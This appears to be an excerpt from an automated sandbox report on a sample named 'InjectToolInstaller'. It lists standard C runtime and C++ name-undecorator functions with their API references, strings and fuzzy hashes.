DName::operator+=.LIBCMT ref: 013CB670

Part of subcall function 013C8309: DName::DName.LIBVCRUNTIME ref: 013C8323

DName::operator=.LIBVCRUNTIME ref: 013CB28E

Part of subcall function 013C7FA8: DName::doPchar.LIBVCRUNTIME ref: 013C7FC7

DName::DName.LIBVCRUNTIME ref: 013CB2F7
DName::operator+.LIBCMT ref: 013CB2FE
DName::operator+=.LIBVCRUNTIME ref: 013CB30A
DName::operator+=.LIBCMT ref: 013CB320
DName::operator+=.LIBCMT ref: 013CB32A
DName::DName.LIBVCRUNTIME ref: 013CB393
DName::operator+.LIBCMT ref: 013CB39A
DName::operator+=.LIBVCRUNTIME ref: 013CB3B6
DName::DName.LIBVCRUNTIME ref: 013CB3DA
DName::DName.LIBVCRUNTIME ref: 013CB454
DName::DName.LIBVCRUNTIME ref: 013CB479
UnDecorator::getStringEncoding.LIBCMT ref: 013CB4BA
DName::operator=.LIBVCRUNTIME ref: 013CB52B
DName::operator+.LIBCMT ref: 013CB543
DName::operator=.LIBVCRUNTIME ref: 013CB56C
DName::operator+.LIBCMT ref: 013CB6E4
DName::operator=.LIBVCRUNTIME ref: 013CB829

Strings

operator, xrefs: 013CB2A1
`string', xrefs: 013CB4B1
`anonymous namespace', xrefs: 013CB4E9

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Name::operator+$NameName::$Decorator::getName::operator=$DimensionSigned$Name::doPchar$EncodingString
String ID: `anonymous namespace'$`string'$operator
API String ID: 847435102-815891235
Opcode ID: b48dcba187f1c6657b2be37da7181dc66652bec8e085cb1174f4d45d29685253
Instruction ID: 130404b6ef76ce739acca46728272c83b6af6124e53e8c8c4b22056560e6b10e
Opcode Fuzzy Hash: b48dcba187f1c6657b2be37da7181dc66652bec8e085cb1174f4d45d29685253
Instruction Fuzzy Hash: 6B02D07180420A9EDF15DFA8D8959FDFFB8EF19B98F04005EE502E72A8DA719E41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013C981D Relevance: 75.6, APIs: 18, Strings: 25, Instructions: 306COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator=.LIBVCRUNTIME ref: 013C987A
DName::operator=.LIBVCRUNTIME ref: 013C990C
operator+.LIBCMT ref: 013C992B
DName::operator=.LIBVCRUNTIME ref: 013C9944
UnDecorator::getPtrRefType.LIBCMT ref: 013C9A4D
DName::operator+=.LIBCMT ref: 013C9A64
DName::operator=.LIBVCRUNTIME ref: 013C9ABA
DName::operator+=.LIBCMT ref: 013C9AC7
DName::DName.LIBVCRUNTIME ref: 013C9B2E
DName::operator+.LIBCMT ref: 013C9B35
DName::DName.LIBVCRUNTIME ref: 013C9B58
DName::operator+.LIBCMT ref: 013C9B5F
DName::operator+=.LIBVCRUNTIME ref: 013C9B6B
DName::operator=.LIBVCRUNTIME ref: 013C9B91
DName::operator+=.LIBCMT ref: 013C9BA3
DName::operator=.LIBVCRUNTIME ref: 013C9BB7
UnDecorator::getPtrRefType.LIBCMT ref: 013C9BCC
operator+.LIBCMT ref: 013C9BDE

Strings

char, xrefs: 013C9872
<unknown>, xrefs: 013C9A08
double, xrefs: 013C9ABF
const, xrefs: 013C9B89
int, xrefs: 013C988B
wchar_t, xrefs: 013C99EA
volatile, xrefs: 013C9BAF
void, xrefs: 013C9A7C
signed , xrefs: 013C9B26
__int64, xrefs: 013C9974
bool, xrefs: 013C9982
unsigned , xrefs: 013C9B17
__int8, xrefs: 013C9904
volatile, xrefs: 013C9B9B
char16_t, xrefs: 013C99FE
__w64 , xrefs: 013C9923
float, xrefs: 013C9899
__int16, xrefs: 013C994E
short, xrefs: 013C9884
UNKNOWN, xrefs: 013C99E0
long , xrefs: 013C9AB2
__int32, xrefs: 013C997B
__int128, xrefs: 013C996D
long, xrefs: 013C9892
char32_t, xrefs: 013C99F4

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator=$Name::operator+=$Decorator::getNameName::Name::operator+Typeoperator+
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $bool$char$char16_t$char32_t$const$double$float$int$long$long $short$signed $unsigned $void$volatile$wchar_t
API String ID: 3586651881-3737837666
Opcode ID: ae4fb8c6483cb5aaab58612a5a4cd561924092a8ce4028a9f04c35cb7cf07444
Instruction ID: bb48ebf3582c7da4d434defb1306aab1a229f116fb357fbaa1bcac9ae28eb00c
Opcode Fuzzy Hash: ae4fb8c6483cb5aaab58612a5a4cd561924092a8ce4028a9f04c35cb7cf07444
Instruction Fuzzy Hash: B6A1F575D0420AAEDF19CF5EC881BFD7BB8AB05F5CF16816FE511A76A0D6709E008B41

Uniqueness

Uniqueness Score: -1.00%

Function 013CC7DB Relevance: 61.5, APIs: 29, Strings: 6, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 013CC856
UnDecorator::getSignedDimension.LIBCMT ref: 013CC862
DName::getString.LIBVCRUNTIME ref: 013CC889
DName::DName.LIBVCRUNTIME ref: 013CC8C8
DName::operator+.LIBCMT ref: 013CC8CF
DName::DName.LIBVCRUNTIME ref: 013CC916

Part of subcall function 013C7C53: DName::doPchar.LIBVCRUNTIME ref: 013C7C7A

DName::operator+.LIBCMT ref: 013CC8D6

Part of subcall function 013CA400: UnDecorator::getSymbolName.LIBCMT ref: 013CA488

DName::DName.LIBVCRUNTIME ref: 013CC8F2
UnDecorator::getSignedDimension.LIBCMT ref: 013CC91E
DName::DName.LIBVCRUNTIME ref: 013CC932
DName::DName.LIBVCRUNTIME ref: 013CC941
DName::operator+=.LIBVCRUNTIME ref: 013CC963
DName::operator+=.LIBCMT ref: 013CC96D
UnDecorator::getSignedDimension.LIBCMT ref: 013CC992
DName::operator+=.LIBVCRUNTIME ref: 013CC99C
DName::operator+=.LIBCMT ref: 013CC9A6
UnDecorator::getSignedDimension.LIBCMT ref: 013CC9B2
DName::operator+=.LIBVCRUNTIME ref: 013CC9BC
DName::operator+=.LIBCMT ref: 013CC9C6
UnDecorator::getSignedDimension.LIBCMT ref: 013CC9D2
DName::operator+=.LIBVCRUNTIME ref: 013CC9DC
DName::operator+.LIBCMT ref: 013CC9E7
UnDecorator::getSignedDimension.LIBCMT ref: 013CCA1A
DName::getString.LIBVCRUNTIME ref: 013CCA2C

Strings

., xrefs: 013CC8A6
`generic-class-parameter-, xrefs: 013CCAF4
`generic-method-parameter-, xrefs: 013CCABF
`template-type-parameter-, xrefs: 013CCB06
., xrefs: 013CC8AC
NULL, xrefs: 013CC8EB

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Decorator::get$DimensionName::operator+=Signed$Name$Name::$Name::operator+$Name::getString$Name::doPcharSymbol
String ID: .$.$NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-
API String ID: 1003564801-2556205067
Opcode ID: 5891c715278c768ba117fc9eca6fe8171f9fb274197a594fd09defd08c317784
Instruction ID: 0cf694d1b3c865837a2c0181fda7c2521f7493e20930187f61564cd428351ac3
Opcode Fuzzy Hash: 5891c715278c768ba117fc9eca6fe8171f9fb274197a594fd09defd08c317784
Instruction Fuzzy Hash: 3491E87290021E9AEF25D6BCCC88EFEBB7CAF15E08F1050AEE509A3451DE715E44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013CAC4E Relevance: 48.4, APIs: 32, Instructions: 368COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBCMT ref: 013CAC68

Part of subcall function 013C81FA: DName::DName.LIBVCRUNTIME ref: 013C820B
Part of subcall function 013C81FA: DName::operator+.LIBCMT ref: 013C8212

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::Name::operator+operator+
String ID:
API String ID: 2937105810-0
Opcode ID: 7cc2e142eaa86772983bb8a801cafd6aaa9b7cd431afd02243392145ce1dccba
Instruction ID: aec0bc509d1245824789682ce5eef85aa3312e7560c2075903680bdbef7c440f
Opcode Fuzzy Hash: 7cc2e142eaa86772983bb8a801cafd6aaa9b7cd431afd02243392145ce1dccba
Instruction Fuzzy Hash: E5D13A75D0020EAFDF04DFA8D9859EDBBB8EF18A08F10815EE515EB250EB31AE05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013CBDEF Relevance: 44.1, APIs: 24, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 013CBE4F
DName::operator+.LIBCMT ref: 013CBE56
DName::DName.LIBVCRUNTIME ref: 013CBE77
DName::operator+.LIBCMT ref: 013CBE7E
UnDecorator::getLexicalFrame.LIBCMT ref: 013CBEE9
DName::operator+=.LIBCMT ref: 013CBF2E

Part of subcall function 013C83BE: DName::operator=.LIBVCRUNTIME ref: 013C83DF

DName::operator+=.LIBVCRUNTIME ref: 013CBF46

Part of subcall function 013C82C8: DName::operator+=.LIBCMT ref: 013C82E4

Part of subcall function 013CD280: UnDecorator::getTemplateName.LIBVCRUNTIME ref: 013CD2D4
Part of subcall function 013CD280: DName::operator=.LIBVCRUNTIME ref: 013CD310
Part of subcall function 013CD280: Replicator::operator+=.LIBCMT ref: 013CD495

DName::DName.LIBVCRUNTIME ref: 013CBF81
DName::operator+.LIBCMT ref: 013CBF88
DName::operator+=.LIBCMT ref: 013CBF9E
DName::operator+.LIBCMT ref: 013CBFF5

Part of subcall function 013C8240: DName::operator+=.LIBCMT ref: 013C8256

DName::operator+.LIBCMT ref: 013CBFFC

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

DName::operator+.LIBCMT ref: 013CC121

Part of subcall function 013CD280: Replicator::operator[].LIBVCRUNTIME ref: 013CD2B8

DName::operator=.LIBVCRUNTIME ref: 013CC161
DName::DName.LIBVCRUNTIME ref: 013CC17B
DName::operator+.LIBCMT ref: 013CC182
DName::operator+.LIBCMT ref: 013CC189

Strings

`anonymous namespace', xrefs: 013CC0BF

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+$Name::operator+=$Name$Name::$Name::operator=$Decorator::get$FrameLexicalReplicator::operator+=Replicator::operator[]Template
String ID: `anonymous namespace'
API String ID: 4157052005-3062148218
Opcode ID: 116784b6e528c2819541397c18525b7f104368fe631ebd0e816bb17cd5846278
Instruction ID: 984707411e577cb38b0d894db9bb7cde895fc95dedc4e5d2f5b3257f063c51ed
Opcode Fuzzy Hash: 116784b6e528c2819541397c18525b7f104368fe631ebd0e816bb17cd5846278
Instruction Fuzzy Hash: B8C19C719002099FDF20DFA8C844BEEBBF9EB15B08F04406DE649A7685EB71AE44CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013CD280 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 013CD2B8
UnDecorator::getTemplateName.LIBVCRUNTIME ref: 013CD2D4
DName::operator=.LIBVCRUNTIME ref: 013CD310
Replicator::operator+=.LIBCMT ref: 013CD495

Strings

template-parameter-, xrefs: 013CD31A, 013CD321
generic-type-, xrefs: 013CD337, 013CD33E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Decorator::getNameName::operator=Replicator::operator+=Replicator::operator[]Template
String ID: generic-type-$template-parameter-
API String ID: 1458548875-13229604
Opcode ID: cd0aec447dd9ed6baf7e47109acba1a00d80adbfe1e25c0d6e6efa48fc1c73ad
Instruction ID: 407b5a7ec0a1772b2bc820271831302ea9530a781c7bb4cfa99e201bc4bb5172
Opcode Fuzzy Hash: cd0aec447dd9ed6baf7e47109acba1a00d80adbfe1e25c0d6e6efa48fc1c73ad
Instruction Fuzzy Hash: 71614072D0020A9FDF15EFF9D844AEEBBB8EB18A48F14406EE615E3250DB749D05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CC543 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 216COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBVCRUNTIME ref: 013CC5B6
DName::operator=.LIBVCRUNTIME ref: 013CC60B
Replicator::operator+=.LIBCMT ref: 013CC776
DName::operator+=.LIBCMT ref: 013CC791
DName::operator+=.LIBVCRUNTIME ref: 013CC79C
DName::operator+=.LIBCMT ref: 013CC7AC

Strings

..., xrefs: 013CC7A5
`template-parameter, xrefs: 013CC6BA, 013CC6FA
void, xrefs: 013CC603

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Name::operator=Replicator::operator+=Replicator::operator[]
String ID: ...$`template-parameter$void
API String ID: 1221969916-2152273162
Opcode ID: 31d8e2c2b0bc2249164b55a868912b6f1ea2a9ec18183f3323ee24d402d79855
Instruction ID: f2f821840685f1c2e3592a51804baa554ed1d611b744164aa3e4ad5c6c3299fb
Opcode Fuzzy Hash: 31d8e2c2b0bc2249164b55a868912b6f1ea2a9ec18183f3323ee24d402d79855
Instruction Fuzzy Hash: 3A81EF72E002099FDF25DBBCD584AEDBBF9EB14A18F18602ED109A7690DB34AD05CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013C958E Relevance: 27.2, APIs: 18, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+=.LIBVCRUNTIME ref: 013C96A9

Part of subcall function 013C82C8: DName::operator+=.LIBCMT ref: 013C82E4

DName::operator+=.LIBCMT ref: 013C9691

Part of subcall function 013C8309: DName::DName.LIBVCRUNTIME ref: 013C8323

DName::operator+.LIBCMT ref: 013C967B

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

DName::DName.LIBVCRUNTIME ref: 013C9674

Part of subcall function 013C7BE5: DName::doPchar.LIBVCRUNTIME ref: 013C7BFE

DName::operator+=.LIBCMT ref: 013C95E3

Part of subcall function 013C83BE: DName::operator=.LIBVCRUNTIME ref: 013C83DF

DName::DName.LIBVCRUNTIME ref: 013C9610
DName::operator+.LIBCMT ref: 013C9617
DName::operator+=.LIBCMT ref: 013C962D
DName::operator+=.LIBVCRUNTIME ref: 013C9639
DName::operator+.LIBCMT ref: 013C965B
DName::DName.LIBVCRUNTIME ref: 013C96F5
DName::operator+.LIBCMT ref: 013C96FC
DName::operator+=.LIBCMT ref: 013C9715
DName::operator+=.LIBCMT ref: 013C972B
DName::operator+=.LIBCMT ref: 013C9741
DName::DName.LIBVCRUNTIME ref: 013C975C
DName::operator+.LIBCMT ref: 013C9763
DName::operator+.LIBCMT ref: 013C976A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Name::operator+=$Name::operator+$NameName::$Name::doName::operator=Pchar
String ID:
API String ID: 2202361335-0
Opcode ID: 3f1df9661feb7f7bdece48f64cfa78ca081204bae8e5a39734390e2960dca408
Instruction ID: 486c1515197c71abb0406388098544d0d72985d8e93e2bf87387300fe4538e7c
Opcode Fuzzy Hash: 3f1df9661feb7f7bdece48f64cfa78ca081204bae8e5a39734390e2960dca408
Instruction Fuzzy Hash: E861CD75D0021AAFDF15DFE8C895EEEBBB4BF14718F10405AE501A7290EB74AE44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 013E8F15 Relevance: 25.9, APIs: 17, Instructions: 419COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 013E8F3C
_free.LIBCMT ref: 013E8FA7
_free.LIBCMT ref: 013E8FCD
_free.LIBCMT ref: 013E8FF6
_free.LIBCMT ref: 013E902E
_free.LIBCMT ref: 013E905F
_free.LIBCMT ref: 013E90A0
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 013E9121
_free.LIBCMT ref: 013E913A
_free.LIBCMT ref: 013E91E3
_free.LIBCMT ref: 013E9209
_free.LIBCMT ref: 013E9232
_free.LIBCMT ref: 013E9267
_free.LIBCMT ref: 013E9298
_free.LIBCMT ref: 013E92D9
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 013E935E
_free.LIBCMT ref: 013E9377

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$EnvironmentVariable$___from_strstr_to_strchr
String ID:
API String ID: 254760748-0
Opcode ID: 72fdb5fc0512d1c1484401e2f97f1096725b96396f9c6937f85218f6da5cec22
Instruction ID: 7823bd7808df639f36cabbdb82090e6b36f88f5db53a55281605210d9a2f3b58
Opcode Fuzzy Hash: 72fdb5fc0512d1c1484401e2f97f1096725b96396f9c6937f85218f6da5cec22
Instruction Fuzzy Hash: 5AD14B72D04326AFEF35AFBCA888B6D7BE99F0532CF14416DEA45972C1E73199408750

Uniqueness

Uniqueness Score: -1.00%

Function 013CA800 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getEnumType.LIBVCRUNTIME ref: 013CA877
DName::operator+.LIBCMT ref: 013CA891

Part of subcall function 013C821E: DName::operator+=.LIBVCRUNTIME ref: 013C8234

DName::DName.LIBVCRUNTIME ref: 013CA88A

Part of subcall function 013C7C53: DName::doPchar.LIBVCRUNTIME ref: 013C7C7A

DName::operator=.LIBVCRUNTIME ref: 013CA8BA
DName::operator+=.LIBVCRUNTIME ref: 013CA8E6
DName::DName.LIBVCRUNTIME ref: 013CA90A

Strings

struct , xrefs: 013CA8AB
coclass , xrefs: 013CA86A
union , xrefs: 013CA8B2
unknown ecsu', xrefs: 013CA905
cointerface , xrefs: 013CA863
enum , xrefs: 013CA882
class , xrefs: 013CA8A4

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: NameName::Name::operator+=$Decorator::getEnumName::doName::operator+Name::operator=PcharType
String ID: class $coclass $cointerface $enum $struct $union $unknown ecsu'
API String ID: 2239907317-3025788322
Opcode ID: 7b56a5ef190928f3b3f3eeb8608d61aa226e5ba04e0ff7314e35e894ac4523c0
Instruction ID: 1f2f189a8371d623452d2035a98e85db3856ad4dfb39e1d4667b3e2837d48202
Opcode Fuzzy Hash: 7b56a5ef190928f3b3f3eeb8608d61aa226e5ba04e0ff7314e35e894ac4523c0
Instruction Fuzzy Hash: 36319075D0031EABDB19DFAED8448FEBFF8EB44E04F00416EE911A3654EA709E018B40

Uniqueness

Uniqueness Score: -1.00%

Function 013EA12F Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 013EA19F
_free.LIBCMT ref: 013EA1B5
_free.LIBCMT ref: 013EA1C6
_free.LIBCMT ref: 013EA1D7
_free.LIBCMT ref: 013EA1EE
GetCPInfo.KERNEL32(?,?), ref: 013EA236

Part of subcall function 013F208E: _free.LIBCMT ref: 013F20F9

_free.LIBCMT ref: 013EA3E2
_free.LIBCMT ref: 013EA3F5
_free.LIBCMT ref: 013EA403
_free.LIBCMT ref: 013EA40E
_free.LIBCMT ref: 013EA450
_free.LIBCMT ref: 013EA458
_free.LIBCMT ref: 013EA460
_free.LIBCMT ref: 013EA468
_free.LIBCMT ref: 013EA476

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 00bcdba200c9005459c093598cf64850d6a89fcc3ff153f135b39107ff6c3ac1
Instruction ID: dfb913525c54dd51b01cb3a06d02f68e15c7b1a85dd567263c46155ee2d28915
Opcode Fuzzy Hash: 00bcdba200c9005459c093598cf64850d6a89fcc3ff153f135b39107ff6c3ac1
Instruction Fuzzy Hash: CFB1AC719003169FDF21DF69D884BEEBBF9BF18308F14406DE999A7281DB75A8418B60

Uniqueness

Uniqueness Score: -1.00%

Function 013EBD84 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 013EBDC8

Part of subcall function 013EA519: _free.LIBCMT ref: 013EA536
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA548
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA55A
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA56C
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA57E
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA590
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5A2
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5B4
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5C6
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5D8
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5EA
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA5FC
Part of subcall function 013EA519: _free.LIBCMT ref: 013EA60E

_free.LIBCMT ref: 013EBDBD

Part of subcall function 013D1C0F: HeapFree.KERNEL32(00000000,00000000), ref: 013D1C25
Part of subcall function 013D1C0F: GetLastError.KERNEL32(?,?,013EADAE,?,00000000,?,00000000,?,013EB0D0,?,00000007,?,?,013EBF1C,?,?), ref: 013D1C37

_free.LIBCMT ref: 013EBDDF
_free.LIBCMT ref: 013EBDF4
_free.LIBCMT ref: 013EBDFF
_free.LIBCMT ref: 013EBE21
_free.LIBCMT ref: 013EBE34
_free.LIBCMT ref: 013EBE42
_free.LIBCMT ref: 013EBE4D
_free.LIBCMT ref: 013EBE85
_free.LIBCMT ref: 013EBE8C
_free.LIBCMT ref: 013EBEA9
_free.LIBCMT ref: 013EBEC1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 60eee5fc4d23a4cd50b6d124ebecbc9c9c5dd5c29996e3dbacbf2f65d146f9e3
Instruction ID: 91811cfa673adc3953829cdec76d3c71bb3959eeecd51eb8164e4b22b83b4554
Opcode Fuzzy Hash: 60eee5fc4d23a4cd50b6d124ebecbc9c9c5dd5c29996e3dbacbf2f65d146f9e3
Instruction Fuzzy Hash: A3316E32600312DFEF22AE7DE948B56B7E9EF40219F145429E299D71D4DF31E890CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013CB8A3 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator=.LIBVCRUNTIME ref: 013CB8EE
DName::operator+=.LIBCMT ref: 013CB8FC
UnDecorator::getPtrRefType.LIBCMT ref: 013CB92E
operator+.LIBCMT ref: 013CBA83

Strings

volatile, xrefs: 013CB8E6, 013CBA50
std::nullptr_t , xrefs: 013CBA26
std::nullptr_t, xrefs: 013CBA38

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

